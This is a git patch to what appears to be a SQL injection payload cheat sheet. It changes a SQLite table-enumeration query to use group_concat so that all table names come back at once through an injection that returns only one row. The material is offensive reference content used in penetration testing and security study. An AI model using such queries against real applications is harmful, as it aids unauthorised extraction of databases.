From d5f85f13d550511d10fe93bd1b35188cd4aa1ea2 Mon Sep 17 00:00:00 2001 From: KeoOp <94304289+NaxnN@users.noreply.github.com> Date: Sun, 16 Jul 2023 23:44:00 +0800 Subject: [PATCH] Update SQLite Injection.md add "group_concat" so that all tables can be extracted once when the query only returns the first item --- SQL Injection/SQLite Injection.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index 8e02d7f..beb0443 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -37,11 +37,9 @@ SELECT sql FROM sqlite_schema ## Integer/String based - Extract table name ```sql -SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' +SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ``` -Use limit X+1 offset X, to extract all tables. - ## Integer/String based - Extract column name ```sql